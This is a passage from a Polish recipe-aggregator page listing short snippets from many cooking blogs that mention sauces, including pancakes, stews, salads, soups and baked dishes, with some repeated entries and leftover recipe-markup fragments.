suflet przyrządzany z białek, lane kluski zapiekane z górskim serem, pierogi nadziewane serem z miętą, duszone mięso z warzywami, pieczona wołowina z knedlami, mięso wołowe ze smażonymi ziemniakami i sosem. Mieszkańcy Austrii podobnie, jak Niemcy uwielbiają pić piwo. Nie gardzą również winem tak samo, jak Niemcy. W Austrii znajduje się wiele hektarów winnic, gdzie powstaje wiele milionów litrów wina rocznie

ProstePesto.pl
Racuchy z jabłkami z przepisu babci 135

owoców. Pierwsze jabłonie sadzono na tych terenach w XVI wieku za sprawą królowej Bony, a tradycje sadownicze przekazywano z pokolenia na pokolenie. Racuchy z jabłkami możesz podawać także z sosem waniliowym CREME ANGLAISE Print Racuchy z jabłkami z przepisu mojej babci Racuchy z jabłkami to bardzo proste i smaczne danie. Robi się je w kilka minut, potem wystarczy usmażyć

smakowitehistorie.com
Menu na tydzień: 5 prostych i szybkich dań 137

jednogarnkowe danie. Zobacz przepis Środa: Pieczona brukselka z orkiszem Jeśli ktoś nie lubi brukselki, to z tym przepisem na pewno zmieni zdanie. Kapustki pieczone z tartym parmezanem, marchewką i sosem sojowym są słodkie i jędrne. Zobacz przepis Czwartek: Chrupiące nuggetsy z warzywami i orkiszem Mega prosty patent na chrupiącego kurczaka: filety trzeba zamarynować w maślance, potem obtoczyć w zwykłej mące

Niedzielny kucharz
Pulpety ala gołąbki 256

Składniki: 500 g mięsa mielonego 200 g czerwonej soczewicy 250 g kapusty pekińskiej 1 cebula 2 jajka jarzynka, pieprz ziołowy czubryca czerwona czosnek suszony sos chili zioła prowansalskie 1 mały … Czytaj dalej Pulpety ala gołąbki

czarrna od kuchni
Racuchy z jabłkami z przepisu babci 160

owoców. Pierwsze jabłonie sadzono na tych terenach w XVI wieku za sprawą królowej Bony, a tradycje sadownicze przekazywano z pokolenia na pokolenie. Racuchy z jabłkami możesz podawać także z sosem waniliowym CREME ANGLAISE Print Racuchy z jabłkami z przepisu mojej babci Racuchy z jabłkami to bardzo proste i smaczne danie. Robi się je w kilka minut, potem wystarczy usmażyć

smakowitehistorie.com
Gulasz cebulowy 129

przykrył mięso. W razie potrzeby możesz dodać nieco więcej wody. Przykryj garnek i gotuj gulasz na niewielkim ogniu przez około 3 godziny. Po tym czasie mięso powinno zmięknąć, a sos zgęstnieć. Gulasz podawaj z kaszą lub chlebem. Zobacz też inne przepisy na wieprzowinę Polędwiczki w ziołowej skorupce Szybkie czerwone curry Makaron ryżowy z wieprzowiną Szwedzkie klopsiki Schab ze śliwką Schab

okolicepalnika.pl
Makaronowa sałatka z dojrzewającą kiełbasą i serami 133

wrzątku, a potem przelewamy zimną wodą. W szklance mieszamy oliwę, sok z cytryny, musztardę, sól i pieprz. Do miski wrzucamy makaron, sery, wędlinę, cebulę, oliwki i brokuły. Wlewamy sos i wszystko dokładnie mieszamy. Posypujemy świeżym tymiankiem

Kulinarne przygody Gatity
Chleb na suchych drożdżach z płatkami owsianymi 135

domowe pieczywo: Puszyste Bułki Pszenne Bez Drożdży – Sprawdzony Przepis Ekspresowy Chleb Na Mleku (Bez Drożdży I Zakwasu) Chleb Pszenny Na Suchych Drożdżach – Prosty I Szybki Przepis Ziołowe Paluchy Z Sosem Czosnkowym Bułeczki Bez Mąki Chleb Z Suszonymi Śliwkami I Żurawiną   Artykuł Chleb na suchych drożdżach z płatkami owsianymi pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Smażona ryba w panierce z talarkami ziemniaków 142

kilka ga\u0142\u0105zek zielonej pietruszki","s\u00f3l morska","do panierowania: m\u0105ka,1 jajko, bu\u0142ka tarta","olej do sma\u017cenia","DODATKOWO DO PODANIA","mro\u017cone talarki ziemniaczane","sos lub dip","lekka sa\u0142atka"],"recipeInstructions":[{"@type":"HowToStep","text":"Ryby p\u0142uczemy pod bie\u017c\u0105c\u0105 wod\u0105 zar\u00f3wno wewn\u0119trzn\u0105 jak i zewn\u0119trzn\u0105

ProstePesto.pl
Potrawka z kurczaka z marchewką i groszkiem 179

minut. 9.   Dodajemy odsączony groszek i kurkumę. 10. Zaprawiamy zahartowaną śmietaną. 11. Mąkę ziemniaczaną rozrabiamy w 2 łyżkach wody (pszenną w 4-5 łyżkach). 12. Zagęszczamy sos mąką. 13. Doprawiamy do smaku solą i pieprzem. Podajemy potrawkę z ryżem lub makaronem. Po wierzchu można posypać natką pietruszki. Smacznego

Prosto z Kotła
Szybka sałatka makaronowa 127

mniejsze kawałki. Szczypiorek drobno siekamy. Majonez łączymy z chrzanem oraz serkiem kanapkowym. Doprawiamy do smaku solą oraz pieprzem. Dokładnie rozcieramy. Wszystkie składniki łączymy ze sobą w misce. Dodajemy przygotowany sos. Mieszamy

Smaki Na Talerzu
Zupa curry 249

Składniki: 300 g fileta z kurczaka 2 cebule 250 g pieczarek 1/2 czerwonej papryki 1/2 cukinii 1 mleczko kokosowe curry, kurkuma jarzynka sos sojowy ocet ryżowy mielony imbir chili Przygotowanie: … Czytaj dalej Zupa curry

czarrna od kuchni
DOMOWE CHLEBKI PITA Z SAŁATKĄ GRECKĄ I KURCZAKIEM – #ZOSTANWDOMU i przyrządź je na obiad! 169

Mieszamy z pokruszoną fetą, doprawiamy do smaku mieszanką przypraw do greckiej sałatki. CAŁOŚĆ: Chlebki pita nadziewamy sałatką grecką i mięsem. Zajadamy od razu! Ps. świetnym dodatkiem będzie lekki jogurtowy sos doprawiony tą samą przyprawą i świeży szczypiorek lub koper! Polecam

Ostra na Słodko
Leniwe z przepisu mojej babci 110

żółtka i osobno białka ubite na pianę. Ja też polecam tę tradycyjną metodę. Dzięki niej leniwe są bardziej puszyste i delikatne. Smacznym dodatkiem do leniwych na słodko będzie sos waniliowy CREME ANGLAISE Print Leniwe jak u babci Jeśli nie masz czasu oto idealny, prosty przepis. Szybkie, pyszne danie – leniwe z przepisu mojej babci. Danie Na słodko, Obiad Kuchnia Polska Czas

smakowitehistorie.com
Sałatka jarzynowa na Wielkanoc 131

około 1860 roku Lucien Olivier, belgijski szef kuchni słynnej moskiewskiej restauracji Ermitaż. W pierwotnym składzie “sałatki Olivier” znalazły się jarząbki, wędzona kaczka, ryba, ozorki, raki, kawior, kapary, pikle i sos w rodzaju prowansalskiego. Sałatka stała się daniem flagowym lokalu i cała Moskwa chodziła na nią do Ermitażu. Wreszcie jeden z kucharzy, Iwan Iwanow, wykradł recepturę i odszedł do konkurencyjnej restauracji

smakowitehistorie.com
Tosty z jajkiem, serem i pomidorem 130

warzywami, który daje energii na początek dnia. Ale można je w tej wersji komponować także z awokado, rukolą, kiszonym ogórkiem, smażonym boczkiem czy plasterkiem szynki. I podawać z dodatkiem sosu czosnkowego, keczupu albo majonezu. Pierwsze tosty powstały 3000 lat pne w starożytnym Egipcie. Chleb podpiekano dla budowniczych piramid, by dłużej pozostał świeży. Opiekanie na gorącym kamieniu było znane również

smakowitehistorie.com
Szakszuka – śniadanie z Izraela 121

olej, wrzuć pokrojone w drobną kostkę cebulę i czosnek, podsmaż na złoto mieszając. Dodaj sparzone i obrane pomidory pokrojone w ćwiartki. Duś do miękkości, a potem odparuj mieszając aż sos zgęstnieje. Dodaj przyprawy i nadal mieszaj. Na koniec dopraw zaatarem. W gęstej, pomidorowej masie zrób zagłębienia i wbij w nie delikatnie całe jajka. Gotuj pod przykryciem, aż zetną się białka

smakowitehistorie.com
Ciasteczka owsiane “trufle” bez pieczenia 142

ciasteczka smakowały Twojej rodzinie. Ważne, żeby zachować proporcje mokrych i suchych składników, a wtedy ciasteczka będą się pięknie formować i będą pyszne! Do ciasteczek owsianych z czekoladą doskonale pasuje sos waniliowy CREME ANGLAISE Print Ciasteczka owsiane bez pieczenia Ciasteczka owsiane które robi się w pięć minut, a do tego nie dodaje się do nich cukru, a dzieci je uwielbiają

smakowitehistorie.com
Idealne naleśniki – wychodzą za każdym razem 128

można podawać na słodko, wytrawnie, z mięsem, warzywami, serem i owocami. Zawinięte z nadzieniem i podsmażone – przeistaczają się w pyszne krokiety. Naleśniki na słodko możesz podawać także z pysznym sosem waniliowym CREME ANGLAISE Print Idealne naleśniki – wychodzą za każdym razem .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Delikatne ciasto z mąki, jajek i wody, rozprowadzone cieniutko

smakowitehistorie.com
Francuska sałatka z serem Brie, owocami i orzechami 138

orzechy włoskie. Do osobnej miseczki wyciśnij sok z połowy cytryny. Dodaj musztardę i miód. Mieszaj dokładnie do uzyskania jednolitej masy, a następnie dolej oliwę. Mieszaj delikatnie a potem polej sosem sałatkę. Moja rada W tej kompozycji sprawdzą się także gruszki, jabłka, suszone morele czy śliwki. smakowitehistorie.com Artykuł Francuska sałatka z serem Brie, owocami i orzechami pochodzi z serwisu Smakowite Historie

smakowitehistorie.com
Sałatka Waldorf z selerem, owocami i orzechami 123

nowatorskich i oryginalnych dań. Napisał także monumentalną książkę kucharską. Tschirky jest uważany za wielką postać amerykańskiej szkoły kulinarnej. Poza stworzeniem sałatki Waldorf był także jednym z twórców i popularyzatorem sosu Tysiąca Wysp. Przypisuje mu się także pierwszą recepturę na jajka po benedyktyńsku. Tschirky był animatorem życia kulinarnego w Nowym Jorku. Miał także imponującą kolekcje Menu z najlepszych restauracji, która znajduje

smakowitehistorie.com
Wiedeń – kawiarnie, słodkości i muzyka 190

Dołącza do skrzypka i pianistki i wspólnie wykonują chwytającą za serce, cygańską pieśń. Starsza pani, znad swojego talerza, posyła kelnerowi całusa. Nie ma wizyty w Wiedniu bez Apfelstrudla z sosem waniliowym . Trześniewski – genialny pomysł naszego rodaka Piętnastominutowy spacer w zapadającym zmierzchu dzieli nas od samego centrum turystycznego Wiednia – placu Św. Szczepana. W pobliżu jest jeden z kilku domów, w których

smakowitehistorie.com
Gofry z truskawkami – najlepszy przepis! 254

może zabraknąć nigdy na moich kuchennych półkach. Słodzę nim kawę, koktajle, domowe napoje, ciasta, gofry, podaję go do naleśników, placków, placuszków. To też wspaniały składnik marynat do mięsa czy sosów. My kochamy i cenimy miód <3 Jest nie tylko pyszny, ale przede wszystkim zdrowy. Ostatnio wraz z rodziną zajadamy się Królewskimi Miodami . Miody te pochodzą z nowoczesnego Gospodarstwa Pasiecznego

Słodkie okruszki
Zupa Rycerska 167

Zupa Rycerska Bardzo lubię robić takie zupy, bo mam danie jednogarnkowe, bez potrzeby robienia drugiego dania. Mięso kurczaka z warzywami w sosie z dodatkiem kurkumy, która ze względu na właściwości nadaje potrawą barwę żółtą oraz intensywny smak. Składniki: ·        ½ kg ziemniaków ·        ½ fileta z kurczaka

Kulinarna Chwila
Wiosenne przeboje kulinarne 139

wiosenne – 10 najlepszych przepisów Naleśniki szpinakowe Kotlety jajeczne z ciecierzycą Gołąbki warzywne – dieta dr Dąbrowskiej Biała kiełbasa pieczona Dietetyczna pierś kurczaka marynowana w maślance Śledzie z pesto Ryba w sosie koperkowym Coleslaw z rzodkiewką Wrapy z kurczakiem i jarmużem Oszczędna babka na oleju Puree z brokuła – super zdrowe! Jak odświeżyć sałatę – sposób na zwiędłą sałatę Koktajl z kiełkami groszku zielonego

Dorota Smakuje
Leniwe z przepisu mojej babci 120

żółtka i osobno białka ubite na pianę. Ja też polecam tę tradycyjną metodę. Dzięki niej leniwe są bardziej puszyste i delikatne. Smacznym dodatkiem do leniwych na słodko będzie sos waniliowy CREME ANGLAISE Print Leniwe jak u babci Jeśli nie masz czasu oto idealny, prosty przepis. Szybkie, pyszne danie – leniwe z przepisu mojej babci. Danie Na słodko, Obiad Kuchnia Polska Czas

smakowitehistorie.com
Sałatka jarzynowa na Wielkanoc 128

około 1860 roku Lucien Olivier, belgijski szef kuchni słynnej moskiewskiej restauracji Ermitaż. W pierwotnym składzie “sałatki Olivier” znalazły się jarząbki, wędzona kaczka, ryba, ozorki, raki, kawior, kapary, pikle i sos w rodzaju prowansalskiego. Sałatka stała się daniem flagowym lokalu i cała Moskwa chodziła na nią do Ermitażu. Wreszcie jeden z kucharzy, Iwan Iwanow, wykradł recepturę i odszedł do konkurencyjnej restauracji

smakowitehistorie.com
Tosty z jajkiem, serem i pomidorem 112

warzywami, który daje energii na początek dnia. Ale można je w tej wersji komponować także z awokado, rukolą, kiszonym ogórkiem, smażonym boczkiem czy plasterkiem szynki. I podawać z dodatkiem sosu czosnkowego, keczupu albo majonezu. Pierwsze tosty powstały 3000 lat pne w starożytnym Egipcie. Chleb podpiekano dla budowniczych piramid, by dłużej pozostał świeży. Opiekanie na gorącym kamieniu było znane również

smakowitehistorie.com
Szakszuka – śniadanie z Izraela 115

olej, wrzuć pokrojone w drobną kostkę cebulę i czosnek, podsmaż na złoto mieszając. Dodaj sparzone i obrane pomidory pokrojone w ćwiartki. Duś do miękkości, a potem odparuj mieszając aż sos zgęstnieje. Dodaj przyprawy i nadal mieszaj. Na koniec dopraw zaatarem. W gęstej, pomidorowej masie zrób zagłębienia i wbij w nie delikatnie całe jajka. Gotuj pod przykryciem, aż zetną się białka

smakowitehistorie.com
Ciasteczka owsiane “trufle” bez pieczenia 144

ciasteczka smakowały Twojej rodzinie. Ważne, żeby zachować proporcje mokrych i suchych składników, a wtedy ciasteczka będą się pięknie formować i będą pyszne! Do ciasteczek owsianych z czekoladą doskonale pasuje sos waniliowy CREME ANGLAISE Print Ciasteczka owsiane bez pieczenia Ciasteczka owsiane które robi się w pięć minut, a do tego nie dodaje się do nich cukru, a dzieci je uwielbiają

smakowitehistorie.com
Idealne naleśniki – wychodzą za każdym razem 159

można podawać na słodko, wytrawnie, z mięsem, warzywami, serem i owocami. Zawinięte z nadzieniem i podsmażone – przeistaczają się w pyszne krokiety. Naleśniki na słodko możesz podawać także z pysznym sosem waniliowym CREME ANGLAISE Print Idealne naleśniki – wychodzą za każdym razem Delikatne ciasto z mąki, jajek i wody, rozprowadzone cieniutko na patelni. Oto przepis na idealne naleśniki, które zawsze się udają

smakowitehistorie.com
Francuska sałatka z serem Brie, owocami i orzechami 139

orzechy włoskie. Do osobnej miseczki wyciśnij sok z połowy cytryny. Dodaj musztardę i miód. Mieszaj dokładnie do uzyskania jednolitej masy, a następnie dolej oliwę. Mieszaj delikatnie a potem polej sosem sałatkę. Moja rada W tej kompozycji sprawdzą się także gruszki, jabłka, suszone morele czy śliwki. smakowitehistorie.com Artykuł Francuska sałatka z serem Brie, owocami i orzechami pochodzi z serwisu Smakowite Historie

smakowitehistorie.com
Sałatka Waldorf z selerem, owocami i orzechami 138

nowatorskich i oryginalnych dań. Napisał także monumentalną książkę kucharską. Tschirky jest uważany za wielką postać amerykańskiej szkoły kulinarnej. Poza stworzeniem sałatki Waldorf był także jednym z twórców i popularyzatorem sosu Tysiąca Wysp. Przypisuje mu się także pierwszą recepturę na jajka po benedyktyńsku. Tschirky był animatorem życia kulinarnego w Nowym Jorku. Miał także imponującą kolekcje Menu z najlepszych restauracji, która znajduje

smakowitehistorie.com
Mąka kukurydziana 116

krajach Ameryki Południowej, produkowane są z niej tortille, nachos i tacos. W Polsce znalazła swoje miejsce w kuchni bezglutenowej. Może być używana prawie do wszystkich dań – ciast, naleśników, deserów, sosów, panierek, wypieku placków, biszkoptów, bułek czy nawet chleba. Autor zdjęcia: dolvita108 Przepis na chleb kukurydziany Składniki na chleb kukurydziany: – 300 g mąki kukurydzianej – 1,5 szklanki mleka – 2 jajka

SmartBake.pl
Kasza Manna 114

kaszy mannej można przygotować wspaniałą masę do tortów tzw.: masę grysikową . Kasza manna wykazuje właściwości higroskopijne, doskonale chłonie wodę , dlatego świetnie nadaje się jako substancja wiążąca do rożnego rodzaju sosów, ciast, babek, ciasteczek, deserów, klusek, kotletów. Może być przyrządzana na śniadanie, obiad, kolację, deser, dodatek do potraw lub jako samodzielne danie. Kasza w wersji śniadaniowej to bardzo popularna zupa mleczna

SmartBake.pl
Dlaczego ciasto rośnie? 134

znacznie ułatwia proces ubijania żółtek. Mogą one powiększyć swoją objętość nawet czterokrotnie. Piana z żółtek jest nie zastąpiona w produkcji sufletów oraz jest stosowana jako dodatek do wielu pysznych sosów. Bita śmietana. Cudowną pianę z bitej śmietany ubijamy w inny sposób niż pianę z białek lub żółtek jaj. Minimalny poziom tłuszczu wymagany do ubicia śmietany to 30%. Na początku ubijania

SmartBake.pl
Ubijanie piany z żółtek 117

należy do najłatwiejszych czynności. Jednak wysiłek ten jest warty efektu jaki osiągniemy. Piana z żółtek jest niezastąpiona w produkcji sufletów oraz jest stosowana jako dodatek do wielu pysznych sosów . Jeśli podobał Ci się ten artykuł zachęcam do zapisania się do naszego newslettera , a na pewno nie ominie Cię żaden nowy wpis. Proszę również o współdzielenie artykułu z innymi, poprzez naciśnięcie

SmartBake.pl
Kurczak Caprese / Chicken Caprese 125

czasie smażyć z obu stron do zarumienienia. Pod koniec smażenia dodać pomidory, oliwki, starty na tarce ząbek czosnku. Przykryć i dusić całość kilka minut, do miękkości mięsa. Doprawić sos solą, pieprzem, świeżą bazylią i oregano, wrzucić orzeszki. Każdą pierś posmarować pesto, nałożyć po dwa grube plastry mozzarelli. Zakryć i dusić jeszcze minutę, do rozpuszczenia sera. Instagram Facebook Twitter ENGLISH

Lekcje w kuchni
Kurczak Bruschetta / Bruschetta Chicken 128

łyżki oleju, przyprawy do oprószenia kurczaka: sól, pieprz granulowany czosnek, słodka papryka, oregano, suszona bazylia 2 pomidory, pół cebuli, pół małego startego ząbka czosnku, przyprawa Knorr Naturalnie Smaczne!Sos sałatkowy włoski z suszonymi pomidorami (lub inna mieszanka ziół włoskich), sól, pieprz, kilka łyżeczek oliwy, 1-2 łyżeczki posiekanej natki pietruszki lub świeżej bazylii 2 plastry ulubionego żółtego sera

Lekcje w kuchni
Bułki z ziołami / Herb Rolls 115

drożdży, 4 płaskie łyżeczki cukru, 2 łyżeczki soli, 8 łyżek oliwy lub oleju, 5 szklanek mąki (pół na pół pszenna z pełnoziarnistą; plus trochę więcej po podsypywania), 2 opakowania Sosu sałatkowego koperkowo-ziołowego Knorr (lub 1 i 1/2 łyżki ulubionych suszonych ziół) W misce połączyć wodę, drożdże i cukier. Odstawić na 5-10 minut, do delikatnego spienienia drożdży. Spienione drożdże

Lekcje w kuchni
Gyros ze schabu / Pork Gyros 137

tutaj użyć dowolnego mięsa, świetnie sprawdzi się też drobiowe, które podobnie jak schab, przygotowuje się bardzo szybko. Gyros ze schabu fantastyczne smakuje z ziemniakami (na przykład frytkami) lub ryżem, sosem tzatziki, a także w domowej bułce do kebabu i zestawem surówek. Polecam, smacznego:) Przepis na gyros ze schabu: ok. 450 g kotletów schabowych bez kości, na przyprawę gyros

Lekcje w kuchni
Klasyczna potrawka z kurczaka / Classic Chicken Stew 137

posiekany czosnek. Dodać mięso i marchewkę z groszkiem, zalać całość bulionem lub wodą. Gotować na małym ogniu, do miękkości składników. Pod koniec dodać śmietankę i posiekany koperek, doprawić. Jeśli sos jest za rzadki, zagęścić go mąką rozmieszaną w małej ilości bulionu lub wody. Classic Chicken Stew Recipe: 500 g of chicken breast, 1/2 - 3/4 cup of carrots and peas

Lekcje w kuchni
Prosty gulasz wołowy z ogórkami / Simple Beef Stew with Polish Pickles 146

więcej w trakcie duszenia).  Dodać listek laurowy i przyprawy. Dusić około 90 minut lub do miękkości mięsa. Pod koniec duszenia dodać pokrojone ogórki i musztardę do smaku. Gdyby sos był za rzadki, zagęścić go mąką ziemniaczaną rozmieszaną z wodą. Simple Beef Stew with Polish Pickles Recipe: 500 g of beef, approx. 2-3 cups of beef stock or water

Lekcje w kuchni
Gulasz węgierski z pieczarkami / Hungarian Stew with Mushrooms 136

Gulasz węgierski z pieczarkami / Hungarian Stew with Mushrooms Tym razem zapraszam na gulasz węgierski z pieczarkami - jeśli lubicie gulasz wołowy, koniecznie wypróbujcie ten przepis. Wołowina w aromatycznym, pysznym, ciemnym sosie to idealny pomysł na obiad. Jest wiele przepisów na gulasz węgierski, ale w moim oprócz wołowiny znalazły się pieczarki, papryka i marchewka. Warto pamiętać, by warzywa dodać po pewnym czasie

Lekcje w kuchni
Sałatka świąteczna - z tuńczykiem na krakersach i ryżowa z kabanosem i porem / Party Salad Recipes 157

wielbicielom sałatek z majonezem. Koniecznie wypróbujcie jedną z nich, polecam, smacznego:) Sałatka świąteczna nr 1: Sałatka z tuńczykiem na krakersach, składniki: 24 sztuki słonych krakersów, 1 puszka tuńczyka w sosie własnym, 3 jajka ugotowane na twardo, 50 g żółtego sera, startego na małych oczkach, 4- 6 łyżek majonezu, opcjonalnie łyżeczka musztardy lub do smaku, 2- 4 łyżki jogurtu greckiego, pół

Lekcje w kuchni
Najlepsze chrupiące gofry z bitą śmietaną i owocami 179

type":"HowToStep","text":"Bit\u0105 \u015bmietank\u0119 ubi\u0107 na sztywno z cukrem pudrem.Cz\u0119\u015b\u0107 owoc\u00f3w zmiksowa\u0107 z odrobin\u0105 cukru pudru, do powstania naturalnego sosu kt\u00f3ra b\u0119dzie s\u0142u\u017cy\u0107 jako polewa."},{"@type":"HowToStep","text":"Gofry udekorowa\u0107 s\u0142odk\u0105 \u015bmietank\u0105, pokrojonymi owocami i polew\u0105."}],"prepTime":"PT20M","cookTime":"PT20M

ProstePesto.pl
Pierś kurczaka w sosie teriyaki 113

Teriyaki to japońska technika kulinarna, polegająca na przygotowywaniu mięsa lub ryb w specjalnej marynacie zwanej tare. Nazwa […] Artykuł Pierś kurczaka w sosie teriyaki pochodzi z serwisu PanGotuje

PanGotuje
Pasta jajeczna z tuńczykiem i ogórkiem kwaszonym 155

podaję je na waflach ryżowych ale oczywiście świetnie komponuje się zarówno ze świeżą bułeczką jak i pełnoziarnistym pieczywem :) Do przygotowania tej pasty potrzebujemy: 6 jajek, 1 puszka tuńczyka w sosie własnym, 2 ogórki kwaszone (lub 1 duży), musztarda miodowa, sok z cytryny, sól, pieprz, czosnek, szczypiorek do dekoracji Jajka gotujemy na twardo. Po obraniu ze skorupki rozgniatamy je widelcem. Tuńczyka

Przepis na Dzień Dobry
Zupa pieczarkowa z klopsikami – pomysł na jednogarnkowy obiad 190

Pieczarki zyskują na smaku jeżeli są podsmażone. Zawsze dodaje do nich cebulkę, czosnek oraz rozmaryn. Takie połącznie może być składnikiem wielu dań np. sosów, risotta, makaronów. Ja zrobiłam zupę pieczarkową z wołowymi klopsikami i użyłam do tego tylko jednego garnka by oszczędzić sobie zmywania. Składniki: 600g pieczarek 3 małe cebulki 4 ząbki czosnku 3 ziemniaki marchewka łyżka oliwy z oliwek

wysmienity
Zapiekanka makaronowa z mięsem mielonym 124

makaronem: Błyskawiczna Zapiekanka Z Makaronem I Pieczarkami Zapiekanka Spaghetti Ze Szpinakiem I Mięsem Mielonym Zapiekanka Makaronowa Z Kurczakiem Pod Beszamelem Makaronowa Zapiekanka Z Warzywami Makaronowa Zapiekanka Z Kalafiorem W Sosie Serowym Pyszna Zapiekanka Z Makaronem, Mięsem Mielonym I Serem Artykuł Zapiekanka makaronowa z mięsem mielonym pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Litwa - Bliny ziemniaczane faszerowane pieczarkami (Bulviniai blynai su pievagrybių įdaru) 117

Ostatnio podzieliliśmy się przepisem na  wegańskie kotlety ziemniaczane z sosem z ogórków kiszonych . Dzisiaj przyszła pora na kolejny ziemniaczany specjał, tym razem z Litwy. Składniki (2-3 porcje, 4 placuszki ): - 400 g ziemniaków - 4 łyżki mąki z ciecierzycy - 2 łyżki mąki - spora szczypta soli, pieprz - 3-4 łyżki oleju - 1 łyżeczka oleju - 1 mała cebula - 5-6 pieczarek

Roślinożerni urlopowicze
Makaron z boczkiem i grzybami 166

łyżkami wody, w której moczyły się grzyby. Poddusić kilka minut aż płyn trochę odparuje. Całość zalać śmietanką. Dodać trochę natki pietruszki. Doprawić solą i świeżo zmielonym pieprzem. Poddusić aż sos trochę zgęstnieje. Dodać ugotowany makaron i całość dokładnie wymieszać. Rozłożyć na talerze. Podawać pospyany natką pietruszki.     Smacznego

Zielona Kuchnia
Ryżowa sałatka z ananasem i kukurydzą 162

kolorową marchewką i piernikowym dressingiem Sałatka z pieczonych buraków i czerwonych pomarańczy Sałatka ze świeżym ananasem i winogronami Sałatka z paluszkami surimi i czosnkiem Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Ryżowa sałatka z ananasem i kukurydzą Czas przygotowania:  20 minut Składniki: 1,5 szklani ryżu ugotowanego na sypko 1 puszka kukurydzy

Kulinarne przygody Gatity
Bagietka zapiekana w sosie śmietanowo-serowym - sposób na czerstwe pieczywo 163

Pomysł na wykorzystanie lekko czerstwego pieczywa - bagietka zapiekana w sosie śmietanowo-serowym posypany szczypiorkiem. Taka zapiekanka najlepiej smakuje podana od razu po upieczeniu (np. podana jako dodatek do kremowej zupy).  Składniki na porcję dla 2-3 osób: 1 lekko czerstwa, długa bagietka 3 duże jajka 150 g startego sera mozzarella 1/2 pęczka szczypiorku 1/4 kostki masła

Ugotować
Surówka z pieczonych buraków 202

olej z pestek dyni. Oczywiście możecie użyć innego oleju, ale ja zdecydowanie polecam Wam spróbować surówki właśnie z nim. Dlaczego? O tym poniżej. Taka surówka najlepiej smakuje do najróżniejszych sosów, które podaję z ziemniakami lub kluseczkami. Spróbujcie. Dlaczego warto stosować olej z pestek dyni? Ten ciemno zielony olej znany jest ze swych cennych właściwości i ciekawego smaku. Olej z pestek

Słodkie okruszki
SEROWE ŚLIMACZKI Z CURRY 129

Serowe ślimaczki z curry dziś występują jako przekąska na ciepło. Połączenie ciasta francuskiego z serami, wędlinami, sosami wszelakimi i przyprawami to sprawdzona i szybka przekąska. Ślimaczki świetnie smakują także w wersji na słodko, np. z twarogiem i rodzynkami, posypane cukrem trzcinowym, posmarowane dżemem lub konfiturą ulubioną. Do tego to szybki i bardzo prosty sposób na deser lub przekąskę. SKŁADNIKI: opakowanie

Zasmakuj Kuchni
Warstwowa sałatka z tuńczykiem 407

ręcznikiem papierowym, ale odkładać do oddzielnych naczynek. Tuńczyka wymieszać z sokiem z cytryny. W szklankach lub miseczce układać warstwami: białko jajka – zielony groszek – tuńczyk – kukurydza – sos – żółty ser – żółtko i szczypiorek. Artykuł Warstwowa sałatka z tuńczykiem pochodzi z serwisu Pasja Smaku

Pasja Smaku
Budyń z ryżu 105

jakim tylko chcesz! Ja Ci daję przepis na klasyczny waniliowy, ale sam już robiłem z mango i czekoladą (na zdjęciu) – przy blendowaniu dodałem obrane mango i udekorowałem sosem czekoladowym. Bardzo fajnie sprawdzi się z sezonowymi owocami, kilkoma kostkami czekolady w środku lub ulubionym syropem. Ja jednak najbardziej polecam Ci wersję podstawową, waniliową. Taki budyń ryżowy jest najlepszy. Polecam

Blendman
Kalafior pieczony 124

jedna po drugiej odpadały bezwładnie do miseczki. Jakby mało się biedak nacierpiał, to podtopiłem go pod bieżącą wodą, molestowałem ręcznikiem kuchennym i na deser dołożyłem mu sporą dawką ostrego sosu sriracha i szczyptę ostrej papryki. Obtoczony we wszystkich przyprawach był gotowy na swoją ostatnią podróż… Artykuł Kalafior pieczony pochodzi z serwisu Blendman.pl - wegańskie przepisy

Blendman
Makaron z zielonym kalafiorem 112

Makaron z zielonym kalafiorem Dzisiejszy makaron z zielonym kalafiorem, to wspaniałe danie. Kremowy sos z czosnkową nutą, chrupiący, wyjątkowy kalafior i w moim przypadku makaron tagliatelle, którego jestem fanem… To wszystko składa się na udany obiad! Opowiem Ci jeszcze o tym, czym w ogóle jest zielony kalafior, bo nie różni się on tylko kolorem od tego zwyczajnego! Inna jego

Blendman
Orientalna brukselka po tajsku 142

polecam użycie świeżej brukselki, ponieważ ta mrożona zrobi się paćkowata i… no ogólnie nie fajna. Na blogu znajdziesz również przepis na brukselkę z suszonymi pomidorami , oraz brukselkę w sosie BBQ , które baaardzo Ci polecam. Jeśli lubisz “smakowe” warzywa, to pieczony kalafior z pewnością również trafi w Twoje gusta. Artykuł Orientalna brukselka po tajsku pochodzi z serwisu Blendman.pl

Blendman
Gnocchi – sposób na resztki z ziemniaków 447

tylko porowate – to znak, że jesteś o krok od rozgrywania klusek. Wciągaj je zatem szybko z garnka! Gnocchi możesz podać podsmażone z masłem z dodatkiem szałwii, albo z sosem pomidorowym. Smacznego! Sprawdź też przepis na kluski śląskie. A może masz ochotę na zdrowe kopytka z batatów? Artykuł Gnocchi – sposób na resztki z ziemniaków pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Szarlotka z chleba i resztek pieczywa 176

nasiąkać. Niech poleży tak ok. 5 minut. Krok 3 Nagrzej piekarnik do 180 stopni. Posmaruj formę do pieczenia masłem. Włóż do formy namoczony chleb i polej resztą mleczno-jajecznego sosu. Wstaw do pieca na 30-40 minut. Podawaj na ciepło. Deser dobrze smakuje również po odgrzaniu. Smacznego! Sprawdź przepis na super prosty, domowy chleb bez zagniatania. Wypróbuj też przepis

Niedzielny kucharz
Colesław z mango 125

startą na drobnych oczkach tarki, majonez blendujemy z 1/8 mango,dodajemy jogurt,sok z cytryny,sól,pieprz, dokładnie mieszamy,  1/8 mango kroimy w kostkę, łączymy wszyskie produkty z sosem i dobrze mieszamy-surówka gotowa, najlepsza po 2 godzinach-smacznego

Kuchnia Beaty
Orientalna brukselka po tajsku 122

polecam użycie świeżej brukselki, ponieważ ta mrożona zrobi się paćkowata i… no ogólnie nie fajna. Na blogu znajdziesz również przepis na brukselkę z suszonymi pomidorami , oraz brukselkę w sosie BBQ , które baaardzo Ci polecam. Jeśli lubisz „smakowe” warzywa, to pieczony kalafior z pewnością również trafi w Twoje gusta

Blendman
Biała kiełbasa zapiekana w sosie chrzanowym 197

